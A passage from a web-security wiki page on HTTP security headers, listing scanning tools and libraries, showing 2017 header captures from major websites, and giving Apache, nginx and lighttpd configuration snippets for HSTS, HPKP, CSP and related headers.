An online service that will retrieve and analyse headers syntax and proper configuration in a comprehensive way. It will be able for instance to highlight Public-Key-Pins that matches one certificate of the chain or if Content-Security-Policy contains values that could be unsafe or too permissive.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Site: https://www.htbridge.com/websec/
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''Check Your Headers'''

<font size="2" style="font-size: 9pt">
Just another web scanner for HTTP response headers.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Site: https://cyh.herokuapp.com/cyh
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''Recx Security Analyser'''

<font size="2" style="font-size: 9pt">
Chrome extension that allows the inspection of security aspects of a site's HTTP headers, cookies and other key security settings.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Site: https://chrome.google.com/webstore/detail/recx-security-analyser/ljafjhbjenhgcgnikniijchkngljgjda
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''KickOff'''

<font size="2" style="font-size: 9pt">
While each project you launch may have a different feature set, they often share many of the same performance, SEO and security requirements. This tool aims to automate the process of checking your list of requirements shortly before launch or directly after a deployment.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Site: https://github.com/frickelbruder/kickoff
</font>

|}

{| width="100%" cellpadding="7" cellspacing="0" <col width="325"><col width="316">
! ead |
|- valign="top"
| width="50%" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Development Libraries'''
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Language'''
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Reference'''

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''secureheaders'''

<font size="2" style="font-size: 9pt">
Security related headers all in one gem.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Ruby
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Github: https://github.com/twitter/secureheaders
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''Security Header Injection Module (SHIM)'''

<font size="2" style="font-size: 9pt”">
SHIM is a HTTP module that provides protection for many vulnerabilities by injecting security-specific HTTP headers into ASP.NET web applications.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* ASP.NET
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://shim.codeplex.com/
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''Spring Security'''

<font size="2" style="font-size: 9pt”">
Spring Security’s support for adding various security headers to the response.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Java
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: http://docs.spring.io/spring-security/site/docs/current/reference/html/headers.html
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''SecureHeaders'''

<font size="2" style="font-size: 9pt”">
A PHP class aiming to make the use of browser security features more accessible.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* PHP
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/aidantwoods/SecureHeaders
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''rack-secure_headers'''

<font size="2" style="font-size: 9pt”">
Security related HTTP headers for Rack applications.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Rack
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/frodsan/rack-secure_headers
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''helmet and hood'''

<font size="2" style="font-size: 9pt”">
Node.js (express).
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Node.js (express)
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/helmetjs/helmet
* Site: https://github.com/seanmonstar/hood
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''blankie'''

<font size="2" style="font-size: 9pt”">
A CSP plugin for hapi.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Node.js (hapi)
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/nlf/blankie
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''NWebsec'''

<font size="2" style="font-size: 9pt”">
NWebsec consists of several security libraries for ASP.NET applications.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* ASP.NET
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://docs.nwebsec.com
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''django-csp + commonware; django-security'''

<font size="2" style="font-size: 9pt”">
django-csp + commonware; django-security.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Python
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/mozilla/django-csp
* Site: https://github.com/jsocol/commonware/
* Site: https://github.com/sdelements/django-security
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''secureheader'''

<font size="2" style="font-size: 9pt”">
Package secureheader adds some HTTP header fields widely considered to improve safety of HTTP requests.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Go
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/kr/secureheader
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''secure_headers'''

<font size="2" style="font-size: 9pt”">
This Plug will automatically apply several security headers to the Plug.Conn response. By design SecureHeaders will attempt to apply the most strict security policy. Although, security headers are configurable and are validated to avoid misconfiguration.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Elixir
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/anotherhale/secure_headers
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''dropwizard-web-security'''

<font size="2" style="font-size: 9pt”">
A bundle for applying default web security functionality to a dropwizard application.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Dropwizard
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/palantir/dropwizard-web-security
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''ember-cli-content-security-policy'''

<font size="2" style="font-size: 9pt”">
This addon makes it easy to use Content Security Policy (CSP) in your project. It can be deployed either via a Content-Security-Policy header sent from the Ember CLI Express server, or as a meta tag in the index.html file.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Ember.js
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |

<font size="2" style="font-size: 9pt">
* Site: https://github.com/rwjblue/ember-cli-content-security-policy/
</font>

|}

{| width="100%" cellpadding="7" cellspacing="0" <col width="325"><col width="316">
! ead |
|- valign="top"
| width="50%" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Operation Tools'''
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Web Servers Supported'''
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Reference'''

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''http_hardening'''

<font size="2" style="“font-size:9pt"">
Puppet module to enable, configure and manage secure http headers on web servers.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Apache HTTP Server
* NGINX
* Lighttpd
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt”">
* Github: https://github.com/amenezes/http_hardening
* Puppet Forge: https://forge.puppet.com/amenezes/http_hardening
</font>

|}

=Top Websites Examples=

HTTP response headers from the top websites in the world.

Command used to extract the headers:

<code>curl -L -A "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" -s -D - <nowiki>https://www.example.com</nowiki> -o /dev/null</code>

==Google==

<pre>
$ curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -s -D - https://www.google.com -o /dev/null
HTTP/1.1 302 Found
Location: https://www.google.com.br/?gws_rd=cr&dcr=0&ei=rtcKWpnkNYaawATUn6agCg
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Tue, 14 Nov 2017 11:46:54 GMT
Server: gws
Content-Length: 273
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: NID=117=GENZIllQGZFmhCBmap1YThta_hUvvZ9Xm517XXWpF9eCKNqW6_luvZm1b_ai7BN4lAA2pP2Z22BveHqjUrqZxpY38NKSYLKWFGrVh6tGAHcbNw6OHQ_F77bNJWV0BZOZ; expires=Wed, 16-May-2018 11:46:54 GMT; path=/; domain=.google.com; HttpOnly
Alt-Svc: quic=":443"; ma=2592000; v="41,39,38,37,35"

HTTP/1.1 200 OK
Date: Tue, 14 Nov 2017 11:46:55 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Strict-Transport-Security: max-age=3600
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2017-11-14-11; expires=Thu, 14-Dec-2017 11:46:55 GMT; path=/; domain=.google.com.br
Set-Cookie: NID=117=fR73jhascV3B9fbiVfYdvGlilR_tgYNhela9rXdCavJiJoYpkNSTq0NtFqNSV8im602zM7Of-S1GUr_ncSuT3p6tzlw3e6_9ccqPttSuniTHWZEgBtUL1VXTgXBdjKMe; expires=Wed, 16-May-2018 11:46:55 GMT; path=/; domain=.google.com.br; HttpOnly
Alt-Svc: quic=":443"; ma=2592000; v="41,39,38,37,35"
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
</pre>

==Facebook==

<pre>
$ curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -s -D - https://www.facebook.com -o /dev/null
HTTP/1.1 200 OK
X-XSS-Protection: 0
Pragma: no-cache
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
Cache-Control: private, no-cache, no-store, must-revalidate
X-Frame-Options: DENY
expect-ct: max-age=10, report-uri="http://reports.fb.com/expectct/"
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Set-Cookie: fr=0Bf96eRMD0zCulvzh..BaCtgp.jl.AAA.0.0.BaCtgp.AWVGQojt; expires=Mon, 12-Feb-2018 11:48:57 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly
Set-Cookie: sb=KdgKWqMf8J84KfUg99AxaG1B; expires=Thu, 14-Nov-2019 11:48:57 GMT; Max-Age=63072000; path=/; domain=.facebook.com; secure; httponly
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-FB-Debug: llncdeFRYCCoWkXqx2VCdUGtdHZvjsr6OA7JNrtEe18ZuZAqcKCH4km9SSkNTHIcuXmzwRMzyBQt0Uz7T6ltQg==
Date: Tue, 14 Nov 2017 11:48:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
</pre>

==Twitter==

<pre>
$ curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -s -D - https://www.twitter.com -o /dev/null
HTTP/1.1 301 Moved Permanently
content-length: 0
date: Tue, 14 Nov 2017 11:50:11 GMT
location: https://twitter.com/
server: tsa_d
set-cookie: personalization_id="v1_nyz+ctxxDiBbh4s6VjzQIg=="; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com
set-cookie: guest_id=v1%3A151066021116455299; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com
strict-transport-security: max-age=631138519
x-connection-hash: d9a9eea848268dae67e7743d5bfd2dd5
x-response-time: 135

HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
content-length: 345977
content-security-policy: script-src https://connect.facebook.net https://cm.g.doubleclick.net https://ssl.google-analytics.com https://graph.facebook.com 'nonce-f/+1f61E6Z0qq8p+L4UIQw==' https://twitter.com 'unsafe-eval' https://*.twimg.com https://api.twitter.com https://analytics.twitter.com https://publish.twitter.com https://ton.twitter.com https://syndication.twitter.com https://www.google.com https://t.tellapart.com https://platform.twitter.com https://www.google-analytics.com blob: 'self'; frame-ancestors 'self'; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com https://fonts.gstatic.com https://maxcdn.bootstrapcdn.com https://netdna.bootstrapcdn.com 'self'; media-src https://rmpdhdsnappytv-vh.akamaihd.net https://prod-video-eu-central-1.pscp.tv https://v.cdn.vine.co https://dwo3ckksxlb0v.cloudfront.net https://twitter.com https://amp.twimg.com https://smmdhdsnappytv-vh.akamaihd.net https://*.twimg.com https://prod-video-eu-west-1.pscp.tv https://rmmdhdsnappytv-vh.akamaihd.net https://prod-video-us-west-2.pscp.tv https://prod-video-us-west-1.pscp.tv https://prod-video-ap-northeast-1.pscp.tv https://smdhdsnappytv-vh.akamaihd.net https://ton.twitter.com https://rmdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://smpdhdsnappytv-vh.akamaihd.net https://prod-video-sa-east-1.pscp.tv https://mdhdsnappytv-vh.akamaihd.net https://prod-video-ap-southeast-2.pscp.tv https://mtc.cdn.vine.co https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv blob: 'self' https://prod-video-ap-southeast-1.pscp.tv https://mpdhdsnappytv-vh.akamaihd.net https://dev-video-eu-west-1.pscp.tv; connect-src https://rmpdhdsnappytv-vh.akamaihd.net https://prod-video-eu-central-1.pscp.tv https://graph.facebook.com https://*.giphy.com https://dwo3ckksxlb0v.cloudfront.net https://vmaprel.snappytv.com https://smmdhdsnappytv-vh.akamaihd.net https://*.twimg.com https://embed.pscp.tv https://api.twitter.com https://prod-video-eu-west-1.pscp.tv https://rmmdhdsnappytv-vh.akamaihd.net https://prod-video-us-west-2.pscp.tv https://pay.twitter.com https://prod-video-us-west-1.pscp.tv https://analytics.twitter.com https://vmap.snappytv.com https://*.twprobe.net https://prod-video-ap-northeast-1.pscp.tv https://smdhdsnappytv-vh.akamaihd.net https://syndication.twitter.com https://sentry.io https://rmdhdsnappytv-vh.akamaihd.net https://media.riffsy.com https://mmdhdsnappytv-vh.akamaihd.net https://embed.periscope.tv https://smpdhdsnappytv-vh.akamaihd.net https://prod-video-sa-east-1.pscp.tv https://vmapstage.snappytv.com https://upload.twitter.com https://proxsee.pscp.tv https://mdhdsnappytv-vh.akamaihd.net https://prod-video-ap-southeast-2.pscp.tv https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv 'self' https://vmap.grabyo.com https://prod-video-ap-southeast-1.pscp.tv https://mpdhdsnappytv-vh.akamaihd.net https://dev-video-eu-west-1.pscp.tv; style-src https://fonts.googleapis.com https://twitter.com https://*.twimg.com https://translate.googleapis.com https://ton.twitter.com 'unsafe-inline' https://platform.twitter.com https://maxcdn.bootstrapcdn.com https://netdna.bootstrapcdn.com 'self'; object-src https://twitter.com https://pbs.twimg.com; default-src 'self'; frame-src https://staticxx.facebook.com https://twitter.com https://*.twimg.com https://5415703.fls.doubleclick.net https://player.vimeo.com https://pay.twitter.com https://www.facebook.com https://ton.twitter.com https://syndication.twitter.com https://vine.co twitter: https://www.youtube.com https://platform.twitter.com https://upload.twitter.com https://s-static.ak.facebook.com https://4337974.fls.doubleclick.net https://8122179.fls.doubleclick.net 'self' https://donate.twitter.com; img-src https://prod-video-eu-central-1.pscp.tv https://prod-profile.pscp.tv https://graph.facebook.com https://prod-thumbnail.pscp.tv https://*.giphy.com https://twitter.com https://*.twimg.com https://ad.doubleclick.net https://prod-video-eu-west-1.pscp.tv data: https://prod-video-us-west-2.pscp.tv https://prod-video-us-west-1.pscp.tv https://prod-video-ap-northeast-1.pscp.tv https://lumiere-a.akamaihd.net https://fbcdn-profile-a.akamaihd.net https://www.facebook.com https://ton.twitter.com https://*.fbcdn.net https://syndication.twitter.com https://media.riffsy.com https://www.google.com https://prod-profile.periscope.tv https://prod-video-sa-east-1.pscp.tv https://stats.g.doubleclick.net https://platform.twitter.com https://prod-video-ap-southeast-2.pscp.tv https://api.mapbox.com https://www.google-analytics.com https://dev-video-us-west-2.pscp.tv https://prod-video-us-east-1.pscp.tv blob: https://prod-thumbnail-small.pscp.tv https://prod-thumbnail-small.periscope.tv 'self' https://prod-thumbnail.periscope.tv https://prod-video-ap-southeast-1.pscp.tv https://dev-video-eu-west-1.pscp.tv; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXFVZXO2LGOQ%3D%3D%3D%3D%3D%3D&ro=false;
content-type: text/html;charset=utf-8
date: Tue, 14 Nov 2017 11:50:11 GMT
expires: Tue, 31 Mar 1981 05:00:00 GMT
last-modified: Tue, 14 Nov 2017 11:50:11 GMT
pragma: no-cache
server: tsa_d
set-cookie: fm=0; Expires=Tue, 14 Nov 2017 11:50:02 UTC; Path=/; Domain=.twitter.com; Secure; HTTPOnly
set-cookie: _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCMOCXbpfAToMY3NyZl9p%250AZCIlOTk3MjYzYzc1NDhkOTA1ZTlhZTIyNGE2Zjk5Nzg0NTk6B2lkIiU0ODIw%250AZWRkNjc4Njg2M2IzYmI3ZTA3N2YxMTA4YzE5Nw%253D%253D--7abf7eef950088f9f728686ce29881ef501487dd; Path=/; Domain=.twitter.com; Secure; HTTPOnly
set-cookie: personalization_id="v1_rrHzrB5h0Qs1Oz4uhOjFJg=="; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com
set-cookie: guest_id=v1%3A151066021139105511; Expires=Thu, 14 Nov 2019 11:50:11 UTC; Path=/; Domain=.twitter.com
set-cookie: ct0=ba98c8a6cb4c664151a98c8bd9eb4b4d; Expires=Tue, 14 Nov 2017 17:50:11 UTC; Path=/; Domain=.twitter.com; Secure
status: 200 OK
strict-transport-security: max-age=631138519
x-connection-hash: 769f9dcd87b9274776136b99b3181a44
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-response-time: 359
x-transaction: 007d216900cbc2ad
x-twitter-response-tags: BouncerCompliant
x-ua-compatible: IE=edge,chrome=1
x-xss-protection: 1; mode=block
</pre>

==Github==

<pre>
$ curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -s -D - https://www.github.com -o /dev/null
HTTP/1.1 301 Moved Permanently
Content-length: 0
Location: https://github.com/

HTTP/1.1 200 OK
Server: GitHub.com
Date: Tue, 14 Nov 2017 11:51:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Status: 200 OK
Cache-Control: no-cache
Vary: X-PJAX
X-UA-Compatible: IE=Edge,chrome=1
Set-Cookie: logged_in=no; domain=.github.com; path=/; expires=Sat, 14 Nov 2037 11:51:27 -0000; secure; HttpOnly
Set-Cookie: _gh_sess=eyJzZXNzaW9uX2lkIjoiODI5ZGZjZDhlZDFlMjBjZTBhMTljMjk5ZDU1ZDBlODgiLCJsYXN0X3JlYWRfZnJvbV9yZXBsaWNhcyI6MTUxMDY2MDI4NzMxNywiX2NzcmZfdG9rZW4iOiIvTjkya2RHLzJJN2dtbU12eWQ3UGJDeTJ0aU1tZHJrci8wVzlpMi9yajFZPSJ9--5920790d2e11e8d4a32177a14ac25fae6e8f9789; path=/; secure; HttpOnly
X-Request-Id: b31804a05047fd1326fe28cf3d6f33aa
X-Runtime: 0.036845
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src render.githubusercontent.com; connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; img-src 'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; media-src 'none'; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
Public-Key-Pins: max-age=0; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho="; pin-sha256="k2v657xBsOVe1PQRwOsHsw3bsGT2VzIqz5K+59sNQws="; pin-sha256="K87oWBWM9UZfyddvDfoxL+8lpNyoUB2ptGtn0fv6G2Q="; pin-sha256="IQBnNBEiFuhj+8x6X8XLgh01V9Ic5/V3IRQLNFFc7v4="; pin-sha256="iie1VXtL7HzAMF+/PVPR9xzT80kQxdZeJ+zduCB3uj0="; pin-sha256="LvRiGEjRqfzurezaWuj8Wie2gyHMrW5Q06LspMnox7A="; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-Runtime-rack: 0.043225
X-GitHub-Request-Id: 9AB0:25783:6A523:B814E:5A0AD8BE
</pre>

=Best Practices=

Please note the best practices below suggest methods to change webserver configuration to add headers. Security headers can also be successfully added to your application at the software level as well in almost every web language. Many web frameworks add some of these headers automatically.

==Response Headers==

* [[#hsts_bp | HTTP Strict Transport Security (HSTS)]]
* [[#hpkp_bp | Public Key Pinning Extension for HTTP (HPKP)]]
* [[#xfo_bp | X-Frame-Options]]
* [[#xxxsp_bp | X-XSS-Protection]]
* [[#xcto_bp | X-Content-Type-Options]]
* [[#csp_bp | Content-Security-Policy]]
* [[#xpcdp_bp | X-Permitted-Cross-Domain-Policies]]
* [[#rp_bp | Referrer-Policy]]

==<div id="hsts_bp">HTTP Strict Transport Security (HSTS)</div>==

* Apache
:Edit your apache configuration file and add the following to your VirtualHost.<br>
::<code>Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains"</code>

* nginx
:Edit your nginx configuration file and add the following snippet.<br>
::<code>add_header Strict-Transport-Security "max-age=63072000; includeSubdomains";</code>

* lighttpd
:Edit your lighttpd configuration file and add the following snippet.<br>
::<code>setenv.add-response-header = ("Strict-Transport-Security" => "max-age=63072000; includeSubdomains",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#strict-transport-security

==<div id="hpkp_bp">Public Key Pinning Extension for HTTP (HPKP)</div>==

* Apache
:Edit your apache configuration file and add the following to your VirtualHost.<br>
::<code>Header set Public-Key-Pins "pin-sha256=\"klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\"; pin-sha256=\"633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\"; max-age=2592000; includeSubDomains"</code>

* nginx
:Edit your nginx configuration file and add the following snippet.<br>
::<code>add_header Public-Key-Pins "pin-sha256=\"klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\"; pin-sha256=\"633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\"; max-age=2592000; includeSubDomains";</code>

* lighttpd
:Edit your lighttpd configuration file and add the following snippet.<br>
::<code>setenv.add-response-header = ("Public-Key-Pins" => "pin-sha256=\"klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=\"; pin-sha256=\"633lt352PKRXbOwf4xSEa1M517scpD3l5f79xMD9r9Q=\"; max-age=2592000; includeSubDomains",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#public-key-pinning

==<div id="xfo_bp">X-Frame-Options</div>==

* Apache
:Add this line below into your site's configuration to configure Apache to send X-Frame-Options header for all pages.<br>
::<code>Header set X-Frame-Options "DENY"</code>

* nginx
:Add snippet below into configuration file to send X-Frame-Options header.<br>
::<code>add_header X-Frame-Options "DENY";</code>

* lighttpd
:Add snippet below into configuration file to send X-Frame-Options header.<br>
::<code>setenv.add-response-header = ("X-Frame-Options" => "DENY",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-frame-options

==<div id="xxxsp_bp">X-XSS-Protection</div>==

Add appropriate snippet into configuration file.<br>

* Apache
:<code>Header set X-XSS-Protection "1; mode=block"</code>

* nginx
:<code>add_header X-XSS-Protection "1;mode=block";</code>

* lighttpd
:<code>setenv.add-response-header = ("X-XSS-Protection" => "1; mode=block",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-xss-protection

==<div id="xcto_bp">X-Content-Type-Options</div>==

Add appropriate snippet into configuration file.<br>

* Apache
:<code>Header set X-Content-Type-Options "nosniff"</code>

* nginx
:<code>add_header X-Content-Type-Options "nosniff";</code>

* lighttpd
:<code>setenv.add-response-header = ("X-Content-Type-Options" => "nosniff",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#x-content-type-options

==<div id="csp_bp">Content-Security-Policy</div>==

Add appropriate snippet into configuration file.<br>

* Apache
:<code>Header set Content-Security-Policy "script-src 'self'; object-src 'self'"</code>

* nginx
:<code>add_header Content-Security-Policy "script-src 'self'; object-src 'self'";</code>

* lighttpd
:<code>setenv.add-response-header = ("Content-Security-Policy" => "script-src 'self'; object-src 'self'",)</code>

* IIS
:Visit https://scotthelme.co.uk/hardening-your-http-response-headers/#content-security-policy

==<div id="xpcdp_bp">X-Permitted-Cross-Domain-Policies</div>==

Add appropriate snippet into configuration file.<br>

* Apache
:<code>Header set X-Permitted-Cross-Domain-Policies "none"</code>

* nginx
:<code>add_header X-Permitted-Cross-Domain-Policies "none";</code>

* lighttpd
:<code>setenv.add-response-header = ("X-Permitted-Cross-Domain-Policies" => "none",)</code>

* IIS
:[update needed]

==<div id="rp_bp">Referrer-Policy</div>==

* Apache
:[update needed]

* nginx
:[update needed]

* lighttpd
:[update needed]

* IIS
:[update needed]

=FAQs=

; What is HTTP header?
: HTTP header fields are part of HTTP message defined in RFC 2616 that consists of requests from client to server and responses from server to client that define parameters for the communication process including: language, compression support, security and a lot of resources.

; Is there a standard for HTTP headers?
